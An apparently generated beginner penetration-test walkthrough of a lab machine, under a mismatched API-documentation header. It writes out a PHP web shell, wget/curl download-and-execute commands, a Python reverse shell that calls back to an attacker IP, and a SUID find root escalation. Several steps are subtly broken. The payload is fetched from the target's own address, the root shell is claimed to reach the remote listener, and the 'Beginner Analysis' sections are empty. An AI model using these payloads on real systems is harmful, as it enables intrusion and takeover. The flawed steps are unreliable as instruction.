docs // 2026-01-05 // ID: REF-Example Doc: API V1

Example Doc: API V1


Welcome, aspiring cybersecurity professionals! This walkthrough will guide you through a simulated penetration test, breaking down each step with clear explanations and focusing on the "why" behind our actions. We'll start from the very beginning, discovering the target, understanding its services, and eventually finding a way to gain access.

Reconnaissance

Our first step is to understand what we're up against. This usually involves identifying live hosts and open ports.

In this scenario, we'll assume we've already identified an IP address for our target machine.

Enumeration

Now that we know the target's IP, we need to figure out what services are running on it. This is like knocking on doors and seeing who answers.

Port Scanning

We'll start by scanning the common ports to see what's open. A popular tool for this is Nmap.

nmap -sC -sV -p- 10.10.10.10

🧠 Beginner Analysis

Let's imagine Nmap gives us the following output:

Starting Nmap 7.92 ( https://nmap.org ) at 2023-10-27 10:00 UTC
Nmap scan report for 10.10.10.10
Host is up (0.050s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
443/tcp  open  ssl/http Apache httpd 2.4.29 ((Ubuntu))

🧠 Beginner Analysis

Web Server Enumeration

Since we found a web server on port 80, let's explore it. We'll use a tool called gobuster (or ffuf, which is very similar) to try and discover hidden directories and files on the web server.

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,js,bak

🧠 Beginner Analysis

Let's assume Gobuster finds something interesting:

/api              (Status: 200) [Size: 1500]
/admin            (Status: 301) [---> /admin/]
/blog             (Status: 301) [---> /blog/]
/api/users        (Status: 200) [Size: 120]
/backup.php.bak   (Status: 200) [Size: 500]

🧠 Beginner Analysis

API Enumeration (Deeper Dive)

We discovered an /api directory and a /api/users endpoint. Let's examine the API documentation we found earlier to understand how it works.

The documentation states:

# API V1 Documentation

> **Version**: 1.0.0
> **Status**: Stable

## Endpoints
### GET /users
Returns a list of users.

**Response**:
```json
[
  { "id": 1, "name": "Alice" }
]
**🧠 Beginner Analysis**

*   **API Version**: The API is documented as version `1.0.0` and is marked as `Stable`. This tells us we're dealing with a known, relatively mature version.
*   **Endpoint: `GET /users`**: This is the crucial part. The documentation explicitly states that a `GET` request to the `/users` endpoint will return a list of users.
*   **Response Format**: The example response shows a JSON array, where each object represents a user with an `id` and `name`.

We can interact with this endpoint directly using `curl` or by visiting it in our browser. Let's use `curl` for a programmatic approach.

```bash
curl http://10.10.10.10/api/users

🧠 Beginner Analysis

If successful, this command will return the same JSON output as shown in the documentation:

[
  { "id": 1, "name": "Alice" }
]

This confirms our API is functioning as documented and provides us with usernames. In a real scenario, we might find more users, which could be useful for brute-forcing login forms on the /admin panel, for example.

Exploitation

Now that we've enumerated services and understood some of the target's functionalities, it's time to look for ways to exploit any weaknesses we've found.

Anonymous FTP Access

Remember the FTP server on port 21 (vsftpd 3.0.3)? One common misconfiguration is allowing anonymous logins. Let's try to log in using the username anonymous and any password.

ftp 10.10.10.10

Upon connecting, we'd be prompted for a username and password. Entering anonymous and a blank password often works.

Connected to 10.10.10.10.
220 (vsFTPd 3.0.3)
Name (10.10.10.10:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
ftp>

🧠 Beginner Analysis

Once logged in, we can list directories and upload files. Let's check the available directories:

ls

Imagine we see a directory like uploads.

cd uploads
ls

Now, let's try to upload a simple web shell. A web shell is a script that we can upload to the web server, and then access via our browser to execute commands on the server.

We'll create a basic PHP web shell named shell.php:

<?php
    echo "<h1>System Command Executer</h1>";
    if(isset($_GET['cmd'])){
        echo "<pre>";
        system($_GET['cmd']);
        echo "</pre>";
    }
?>

Then, we upload it using FTP:

put shell.php

🧠 Beginner Analysis

Now, we can access our uploaded shell through the web server:

http://10.10.10.10/uploads/shell.php?cmd=whoami

This should return the username of the user running the web server (e.g., www-data). We can now execute any command within the context of this user!

Gaining a Shell

We can use our web shell to download a more robust reverse shell. A reverse shell is a connection initiated from the target machine back to our attacker machine, giving us a more interactive command-line interface.

First, we need to set up a listener on our attacker machine to receive the incoming connection. We'll use netcat for this.

nc -lvnp 4444

🧠 Beginner Analysis

Now, using our web shell, we'll instruct the target to download and execute a Python reverse shell script. For demonstration, let's assume our attacker IP is 10.10.14.2.

In the web shell URL, we'd put something like:

http://10.10.10.10/uploads/shell.php?cmd=wget http://10.10.10.10/shell.py -O /tmp/shell.py; python /tmp/shell.py

Or if wget isn't available, we might use curl:

http://10.10.10.10/uploads/shell.php?cmd=curl http://10.10.10.10/shell.py -o /tmp/shell.py; python /tmp/shell.py

The shell.py script would look something like this:

import socket
import subprocess
import os

HOST = '10.10.14.2'  # Our attacker IP
PORT = 4444          # The port we're listening on

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

subprocess.call(["/bin/bash", "-i"])

🧠 Beginner Analysis

Once the Python script executes on the target, our netcat listener should show a connection:

Listening on [0.0.0.0] (family 0, port 4444)
Connection received from 10.10.10.10 48870
/bin/bash: cannot set terminal process group: Inappropriate ioctl for device
/bin/bash: no job control in this shell
www-data@ubuntu:/var/www/html$

🧠 Beginner Analysis

Privilege Escalation

We currently have a shell as the www-data user, which is a low-privileged user. Our goal is to become a more powerful user, typically root.

Linux Capabilities

Sometimes, Linux executables have "capabilities" set that allow them to perform actions usually reserved for the root user, even when run by a less privileged user. We can check for these using getcap.

getcap -r / 2>/dev/null

🧠 Beginner Analysis

Let's say getcap outputs something like this:

/usr/bin/python3 = cap_net_raw,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep

🧠 Beginner Analysis

Exploiting Python Capabilities

Normally, a user cannot run arbitrary code with elevated privileges. However, if an executable has specific capabilities, it might allow for privilege escalation. In this case, the cap_net_raw and cap_net_admin capabilities, while related to networking, can sometimes be leveraged.

A more direct way to exploit capabilities is when an executable can be manipulated to run other programs. If we find an executable with cap_sys_ptrace or cap_dac_override for example, we could potentially use that.

However, let's consider a more common scenario based on finding specific vulnerabilities that getcap might not reveal directly, but we might find through other enumeration techniques (like SUID binaries or misconfigured services).

Finding SUID Binaries

SUID (Set User ID) bits on executables allow a user to run a program with the permissions of the file's owner, rather than their own. If a binary owned by root has the SUID bit set, and it's vulnerable, we can exploit it to gain root privileges.

We can search for these with find:

find / -perm -u=s -type f 2>/dev/null

🧠 Beginner Analysis

Suppose this command reveals:

/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/find

🧠 Beginner Analysis

Exploiting find SUID

GTFOBins is an excellent resource for finding SUID exploits. We can check if find can be used to execute commands.

According to GTFOBins, find can be exploited by using the -exec option creatively.

find . -exec /bin/bash \; -quit

Let's try this from our current shell:

find /tmp/ -exec /bin/bash \; -quit

🧠 Beginner Analysis

If this command is successful, our netcat listener will receive a new connection, this time with root privileges!

Listening on [0.0.0.0] (family 0, port 4444)
Connection received from 10.10.10.10 49122
root@ubuntu:/tmp#

🧠 Beginner Analysis

This concludes our walkthrough. We've journeyed from initial reconnaissance to gaining root access, learning about network scanning, web enumeration, API interaction, FTP misconfigurations, web shells, reverse shells, and SUID exploitation. Keep practicing these steps, and you'll become proficient in penetration testing!